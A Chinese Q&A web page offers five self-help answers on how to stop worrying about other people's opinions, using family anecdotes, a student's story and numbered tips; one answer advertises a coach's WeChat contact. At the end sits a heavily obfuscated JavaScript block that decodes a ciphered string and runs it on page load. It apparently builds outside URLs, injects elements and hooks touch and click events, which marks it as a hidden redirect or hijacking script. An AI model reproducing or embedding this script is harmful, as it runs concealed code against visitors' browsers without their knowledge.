如何才能做到不在意别人的眼光?

2024-12-03 18:08:12
推荐回答(5个)
回答1:

世界是苦的,但生活总要有它该有的样子。


看到姐姐辅导2个女儿写作业的模样,我无所适从。曾经的姐姐喜欢逛街、喜欢美美地出门逛街。可现在她的生活里,只有儿女成群,只有为别人活着的模样。


从她的现在,我似乎看到了她接下来的一辈子。照顾孩子们长大成人,供养他们读书,然后慢慢老去。自己的一生,就此谢幕。


甚至连手指头都数的过来,她这辈子究竟为自己活过多久、肆意地做过多少件自己喜欢的事情。


还记得姐姐生下第二个女儿愁眉苦脸的样子,又是一个女儿,婆家不喜、丈夫不喜。也就隔年,生下了第三个,这一个总算是儿子。


她和我们说起时,一脸轻松,仿佛生下一个男孩子,是她嫁入婆家的一项任务。


如今我也嫁人,也逐渐体会到她的担心与忐忑。可也害怕过着和她一样的日子、更怕婆家对于生男孩子的期待。


对于这一生,每一个人都曾无数次幻想,这一生该要如何轰轰烈烈。哪怕是一场恋爱、或者是一场远行,如果能够轰轰烈烈、留下点不一样的东西,也起码不会留下遗憾。


可是大多数人的人生,都是平凡无奇,连点光彩,都不曾留下。


世界是苦的,而生活还是停留在现实的样子。



寄托物


拿起这本书,误以为是一本浓厚的鸡汤书,却没发现是不同的人、不同的故事和经历。印象最深的是那一碗“鸭血粉丝”和“要去北京听摇滚的梦想”。


一碗鸭血粉丝寄托的是自己的冲劲,每次看到那一碗鸭血粉丝,内心就有了动力。每次想到自己要去北京听摇滚,就对北京充满了无限憧憬。


你是否曾将自己的理想寄托在某件事物上?我最钟意的,是把自己要成功的动力寄托在别人成功的基础上。


总觉得,别人可以成功,那我一定也可以。只要像他们一样,多付出一点、多努力一点。


在知乎上曾看过一篇高赞文章,讲述的是一个高中学生,成绩一般,却励志要考上北大。身边的人都嘲笑她白日做梦。


可是她却用每天最早到教室、最晚离开、测试考试前三的成绩,告诉大家,她是能行的。


每次灰心丧意时,她总想起北大的校园、北大的风景面貌,为了考上北大,她拼了。


最后她以惊人的毅力、优越的成绩,考上了北大,成为了学校里的传奇人物。


每一个人的心里都有一个梦想,与之不同的是:有些人寄托在脑子里,有些人寄托在行动里。



这一辈子最成功的事情,就是以自己喜欢的方式过这一生。


大多数人活了大半辈子,都不知道自己喜欢什么。其实也很正常,我们哪来那么多的时间、精力、金钱去试错呢?


可是不试试,怎么知道自己喜欢什么、不喜欢什么呢?


大多数人只能够安于现状。


我最佩服的人就是我爷爷了,他在我的印象里,一直都不是一个安分的人。


在我7岁的时候,爷爷要出家当和尚。所有人都在劝他,叔叔最极端的做法是把庙烧了,断绝他想出家的想法。


叔叔强硬,可爷爷也更强硬,谁的话都听不进去,毅然出家当了和尚。


奶奶说,爷爷一直是一个自私的人。从她嫁过来,爷爷的生活没有下地干活的说法,都是捧着本书、读书写字。顾自己、唯独不顾家。


而到了现在,我不知道是不是该庆幸爷爷的选择。起码他的老年生活很不错,不仅能做到自给自足,而且最重要的是不需要依赖任何人。


爷爷的一生,都活得体体面面。


爷爷这辈子,虽然看似自私,但却真的是以自己喜欢的方式过了这一生。



你足够有勇气,去追求自己喜欢的这一生么?


20岁以前,我活在别人眼里的世界里,为了别人眼里的自己默默努力。20岁以后,我正努力打破这一切。


知乎上有一个这样的问题:“如何才能不在乎别人的眼光,任性的做自己?”


其中高赞答道:“学会无条件地接纳自己,才是成为自己最好的方法。”


因为在我们所处的环境和文化中,无论是老师还是长辈的教诲,都在教我们成为一个“别人”。从来没有人告诉我们:你要做自己。


试图成为别人,试图变得更好、更优秀、更有钱,这些只不过是驱使很多人存活着的动力。但这些在本质上不过是满足了你的一种虚假幻想而已。


对于许多人来说,他们终其一生都活在外界评价的标准里,他们一辈子都为了成为别人而努力。


无条件接纳自己、接受自己的缺点、优点,还有各种不完美,才是你不屈服的开始。


今年春节我的一个表妹结婚,因为疫情事件,没有办法办婚礼,宴请宾客。草草地就这么嫁了,我提议说可以年底回来补办。


表妹说这边的风俗不可以这样的,都嫁出去了、哪还有补办的道理,别人会笑话的。


听到这里我很不是滋味,结婚是一辈子的事情、婚礼也只有一次,怎么就因为风俗连这些都顾不周全呢?表妹心里也难过,谁不想结婚热热闹闹呢!


我虽有心劝姑姑一家不要太当回事,可是世道就是如此,哪有那么容易被说服呢?中国人自古就怕被别人戳脊梁骨,更何况在农村。


活在别人的标准里,是没法追求自己喜欢的一生的。



总有人在告诉你,不要这么做、这么做不合时宜。即便我们想挣脱,有时候也会迫于无奈循规蹈矩。


可是,总有些人会挣脱这些束缚去做自己、追求自己的一生。他们不畏外界的评价、不愿意遵循外界制定的规则、只想自由自在地过这一生。


这些人或许平凡,但却是自己生活里的小小英雄。


愿你也能成为这样的英雄!

回答2:

       在现代这个社会上,我们每天都会关注很多的人和事,我们在关注别人的同时别人也在关注我们,大多数人都会觉得自己活在了别人的眼里,在这个社会大流的影响下,我们会越来越在乎别人的眼光,别人的想法,这种状态下的我们,如果处理的好的话,会在别人关注的影响下变得越来越好。

       如果处理不好的话,就会影响我们正常的生活。怎样做到不影响我们的生活呢,那就要做到不要太在意别人的眼光,生活是自己的,不要被别人的眼光束缚了自己的生活。很多人会说,我虽然知道不能太在意别人的眼光,但是就是做不到,一出门就感觉别人都在看着我。

       好像活在了一个镜态世界里,非常让人难受,无时无刻都得注意自己的言行举止,而且因为过于在乎别人的眼光,稍稍有做的不好的地方,我就感觉很尴尬,不知道怎么处理。这样的生活状态是很辛苦的,因为太在意别人的看法,感觉生活不是自己的,而是活给别人看的。

       怎么改变这个状态呢,你要在心里说服自己,自己并没有那么受关注每个人都在忙自己的事情,不会有太多的人注视你,然后你要真正的认识到生活是自己的,不是活给别人看的,自己想怎么样就怎么样就算别人会有什么看法,那又有什么关系呢,最主要的还是从心里改变对这个问题的看法。

       我认识一个人,她的脸上有一块青色的胎记,高中之前很多人都因为这个小小的缺憾而嘲笑她,因此她也变得很自卑,不喜欢和别人交流,到了大学之后,学会了化妆,每天都用厚厚的粉底把那块青色的胎记给遮住,时间一长,不化妆都不敢出门,哪怕起的晚了,上课都快迟到了,还要先把妆容化好。

        因为她以前因为那块胎记备受嘲笑,所以她不想这种事情再发生在她的身上,但是后来她改变了,她这种因为自身的缺憾所造成的太在意别人的眼光是怎么改变的呢?原来,她从小就学习钢琴,在加上自身天赋好,所以在钢琴方面有很大的成就,经常的在学校大礼堂表演。

       时间一长学校里都知道有这么一位弹钢琴非常棒的女孩子,很多社团都想拉她到自己的社团,增加自己社团的知名度,她只加入了一只和音乐有关系的社团,有一次带新生出去做活动的时候,出门之前万里无云天气晴朗,但是到了下午雷风大作,把所有的人都打湿了,她也不例外。

       自然脸上的厚厚的粉底经过大雨的冲刷也把她的胎记给露了出来,她非常的不安,怕被别人给看见了,但是她错了,跟她一起出去的人发现她的这块胎记并没有什么特别的举动,只是随意的看了一下。

       因为她在人们的心目中已经有了一定的高度,这点小小的缺憾并不会有什么影响了。所以,如果想要做到不在意别人的目光,既要从心理改变自己的对这件事的看法,又要从外部让自己变得更加优秀。

回答3:

想要真正的不去在意别人的眼光,那么我觉得在生活当中我们确实应该要懂得使用一些方法,或者说做好一些相关的准备,这样的话才有可能做得到的,那么今天我们来看看到底该怎么做吧。


第1点,学会强大自己的内心。

当你刻意的去在意别人的眼光,有可能是因为你自己的内心不够强大,那么说出去更容易懂一点,可能是因为你对自己不够自信,所以才会出现这样的状况的,那么该怎么做才能够改变这样的事情呢,你就应该要懂得去强大自己的内心,让自己懂得去承受,让自己能够懂得去包容和理解,那种眼光同样呢也应该要学会让自己坚定自己的信心,只有这样才有可能让自己不会受到他们的影响。

第2点,走自己的路,让别人去说吧。


其实我非常的喜欢一句话,就是自己选择的路跪着也要走完,那么同样的在这条道路上,你也应该要学会走好自己的路,不管别人怎么说你都不要去在意,因为别人的眼光终究是别人的事情,而你自己的所作所为才会影响到你对这个事情的结果,才会影响到你的进程,那么就不要去在意那些流言蜚语,只管闷头前行,那样的话才有可能实现你的目标和梦想。

第3点,想着你想要的,而不是影响你的。


其实我们都知道,一个人想要达到自己的目标,想要实现自己的理想,那么一定要想着你想要的,而不是影响你的,你一定要知道,一定要清楚的告诉自己,你要什么你不要什么,这样的话才有可能会让你更加坚定的走下去,对于那些流言蜚语,对于那些别人的眼光,那么就把它当做空气,你只管想着你想要的,那样的话你才会更有动力,才会更加坚定。

回答4:

任何人更在乎的是自己,并不会那么关注到其他人,所以你没那么重要,没必要那么看重别人对你的看法和别人的否定,因为很可能那只是别人的无心之语,他并没有放在心上倒引发你深深的自我怀疑。

要知道人生苦短,人的一生中生不由己的时刻太多了,如果你还不放过自己,不坦然处之,非要在意别人怎么说怎么看,非要让别人的眼光绑住手脚,

非要因为不好的舆论陷入迷茫痛苦,那你这一生就要在不自由不得志不洒脱不开心中度过了,你真的想这样过你的一生吗?所以走自己的路,让别人尽情说去!不再为了父母而活,为孩子而活,为别人的眼光而活,为大众舆论而活,真正为自己而活!在允许的范围内,肆意鲜活地活一次,潇潇洒洒走一回,你的自由人生你做主!

回答5:

有一次在上Access Consciousness系统课时,聊到身材的话题。老师问你们有谁对自己的外貌身材不满意请举手?所有人都举了手。其中有个学员说她要减肥,老师问你为什么要减肥,她说现在肚子上的赘肉让她去海边玩都没有办法穿比基尼了。老师接着又问,为什么没有办法穿?她回答因为露出肚子上的赘肉不好看啊,别人会嘲笑她的。

“但你们有没有发现,很多身材丰腴甚至走样的外国女人,在沙滩上照样穿比基尼,你们有嘲笑过她们吗?你们觉得她们很难看吗?”是啊,非但没有觉得她们难看,反而看起来很自信、很自然。

在意别人的眼光,就会活在别人的眼光里迷失自己。那么累实在没有必要。如何才能让自己不去在意别人的眼光呢?

1、怎么想就怎么说,不多想别人下一步的反应。我曾经也是个非常在意别人眼光的人,哪怕吃饭这件小事,也让我觉得心累。每次别人问中午吃什么啊?我都会想如果我说吃这个,他们会想吃吗?他们会说想吃什么呢?

其实那些看似非常体贴照顾别人的想法,但人的感觉是很敏锐的,之后我问过几个好朋友,他们一致评价说跟我说话都要比较谨慎,觉得我是个非常小心的人。自此之后,我就直接表达我的想法,就算对方不同意,那两个人协商一下就好,不再妄加揣测给自己和他人都增加压力。

2、觉察你到底在意谁的眼光。在意别人眼光的人并不是谁的眼光都在意,总会有重点。有的人是在意父母的眼光、有的人是在意男朋友/女朋友的眼光、有的是在意同事/上级的眼光……你可能害怕他们批评你、对你失望等等,那你需要认真思考,为什么你对他们心怀畏惧?想清楚“在意”背后的潜意识,你就不会再恐惧了。

3、重拾自信,你只要做自己就好。有朋友曾给我举过一个夸张的例子:“不在意别人的眼光,要做到你在大街上穿比基尼也无所谓的那种不在意。”王小波在《一只特立独行的猪》最后写道:“相反,我倒见过很多想要设置别人生活的人,还有对被设置的生活安之若素的人。因为这个原故,我一直怀念这只特立独行的猪。”祝你有勇气迈出这一步。

瑶知天问,昵称瑶瑶,中国人民大学传播学硕士,身心灵疗愈师。认知升级,活出自己。个人微信号:rryy314;微信公众号:loves-knows。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();